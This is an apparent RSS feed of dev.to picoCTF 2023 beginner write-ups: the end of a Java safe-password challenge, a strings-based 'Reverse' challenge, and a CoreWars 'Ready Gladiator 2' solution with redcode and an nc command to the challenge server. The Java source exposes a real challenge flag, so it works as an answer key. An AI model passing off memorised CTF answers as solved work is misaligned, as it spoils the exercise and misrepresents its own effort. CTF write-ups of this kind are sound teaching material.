        &lt;span class="kd"&gt;final&lt;/span&gt; &lt;span class="nc"&gt;BufferedReader&lt;/span&gt; &lt;span class="n"&gt;keyboard&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;BufferedReader&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;InputStreamReader&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;System&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;in&lt;/span&gt;&lt;span class="o"&gt;));&lt;/span&gt;
        &lt;span class="kd"&gt;final&lt;/span&gt; &lt;span class="nc"&gt;Base64&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;Encoder&lt;/span&gt; &lt;span class="n"&gt;encoder&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nc"&gt;Base64&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getEncoder&lt;/span&gt;&lt;span class="o"&gt;();&lt;/span&gt;
        &lt;span class="nc"&gt;String&lt;/span&gt; &lt;span class="n"&gt;encodedkey&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s"&gt;""&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
        &lt;span class="nc"&gt;String&lt;/span&gt; &lt;span class="n"&gt;key&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s"&gt;""&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
        &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt; &lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
            &lt;span class="nc"&gt;System&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;out&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;print&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"Enter password for the safe: "&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
            &lt;span class="n"&gt;key&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;keyboard&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;readLine&lt;/span&gt;&lt;span class="o"&gt;();&lt;/span&gt;
            &lt;span class="n"&gt;encodedkey&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;encoder&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;encodeToString&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getBytes&lt;/span&gt;&lt;span class="o"&gt;());&lt;/span&gt;
            &lt;span class="nc"&gt;System&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;out&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;println&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;encodedkey&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
            &lt;span class="kd"&gt;final&lt;/span&gt; &lt;span class="kt"&gt;boolean&lt;/span&gt; &lt;span class="n"&gt;isOpen&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;openSafe&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;encodedkey&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
            &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;isOpen&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
                &lt;span class="k"&gt;break&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
            &lt;span class="o"&gt;}&lt;/span&gt;
            &lt;span class="nc"&gt;System&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;out&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;println&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"You have  "&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="s"&gt;" attempt(s) left"&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
        &lt;span class="o"&gt;}&lt;/span&gt;
    &lt;span class="o"&gt;}&lt;/span&gt;

    &lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="kd"&gt;static&lt;/span&gt; &lt;span class="kt"&gt;boolean&lt;/span&gt; &lt;span class="nf"&gt;openSafe&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="kd"&gt;final&lt;/span&gt; &lt;span class="nc"&gt;String&lt;/span&gt; &lt;span class="n"&gt;password&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
        &lt;span class="kd"&gt;final&lt;/span&gt; &lt;span class="nc"&gt;String&lt;/span&gt; &lt;span class="n"&gt;encodedkey&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s"&gt;"picoCTF{SAf3_0p3n3rr_y0u_solv3d_it_b427942b}"&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;password&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;equals&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;encodedkey&lt;/span&gt;&lt;span class="o"&gt;))&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
            &lt;span class="nc"&gt;System&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;out&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;println&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"Sesame open"&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
            &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
        &lt;span class="o"&gt;}&lt;/span&gt;
        &lt;span class="nc"&gt;System&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;out&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;println&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"Password is incorrect\n"&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
    &lt;span class="o"&gt;}&lt;/span&gt;
&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;and so the flag is:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;picoCTF{your flag}&lt;/p&gt;
&lt;/blockquote&gt;

</description>
      <category>cybersecurity</category>
      <category>beginners</category>
      <category>java</category>
      <category>picoctf</category>
    </item>
    <item>
      <title>Reverse</title>
      <dc:creator>Mudacumura Brunoblaise </dc:creator>
      <pubDate>Sat, 01 Apr 2023 13:58:13 +0000</pubDate>
      <link>https://dev.to/brunoblaise/reverse-35e9</link>
      <guid>https://dev.to/brunoblaise/reverse-35e9</guid>
      <description>&lt;h1&gt;
  
  
  Reverse
&lt;/h1&gt;

&lt;p&gt;&lt;strong&gt;100 points&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;AUTHOR: MUBARAK MIKAIL&lt;/p&gt;

&lt;p&gt;Description&lt;br&gt;
Try reversing this file? Can ya?&lt;br&gt;
I forgot the password to this [file]. Please find it for me?&lt;/p&gt;




&lt;p&gt;Run strings on the file to get the flag or open it and &lt;code&gt;CTRL + F&lt;/code&gt; and find &lt;code&gt;pico&lt;/code&gt;.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;picoCTF{your flag}&lt;/p&gt;
&lt;/blockquote&gt;

</description>
      <category>beginners</category>
      <category>cybersecurity</category>
      <category>help</category>
      <category>picoctf</category>
    </item>
    <item>
      <title>Ready Gladiator 2</title>
      <dc:creator>Mudacumura Brunoblaise </dc:creator>
      <pubDate>Sat, 01 Apr 2023 13:54:59 +0000</pubDate>
      <link>https://dev.to/brunoblaise/ready-gladiator-2-1i4</link>
      <guid>https://dev.to/brunoblaise/ready-gladiator-2-1i4</guid>
      <description>&lt;h1&gt;
  
  
  Ready Gladiator 2
&lt;/h1&gt;

&lt;p&gt;&lt;strong&gt;400 points&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Description&lt;br&gt;
Can you make a CoreWars warrior that wins every single round?&lt;br&gt;
Your opponent is the Imp. The source is available here. If you wanted to pit the Imp against himself, you could download the Imp and connect to the CoreWars server like this:&lt;br&gt;
nc saturn.picoctf.net 59243 &amp;lt; imp.red&lt;br&gt;
To get the flag, you must beat the Imp all 100 rounds.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Note:&lt;/em&gt; This challenge launches an instance on demand.&lt;/p&gt;



&lt;p&gt;So this is the final challenge in the series, we need to find the ultimate strategy to defeat the imp once and for all and constantly.&lt;/p&gt;

&lt;p&gt;After numerous google searches I stumbled upon this reddit &lt;a href="https://www.reddit.com/r/corewar/comments/11ulbs0/defeat_classic_imp/"&gt;thread&lt;/a&gt; and yeah, one of the comments literally says "Good luck in picoCTF23".&lt;/p&gt;

&lt;p&gt;So google searching for the answer brought me to &lt;a href="https://everything2.com/title/corewars+imp"&gt;link&lt;/a&gt; which states:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;The best passive defense against an imp is known as an imp-gate. The imp-gate is an instruction that decrements some static location prior to the first code instruction of the warrior. E.g:

warrior          ; some attack code here
jmp warrior,&amp;lt;-10 ; decrement relative position -10
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;;redcode
;name imp
;assert 1

warrior          ; some attack code here
jmp warrior,&amp;lt;-10 ; decrement relative position -10

end

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;copying the code and sending it to the server wins the game and get us:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;picoCTF{your flag}&lt;/p&gt;
&lt;/blockquote&gt;

</description>
    </item>
  </channel>
</rss>
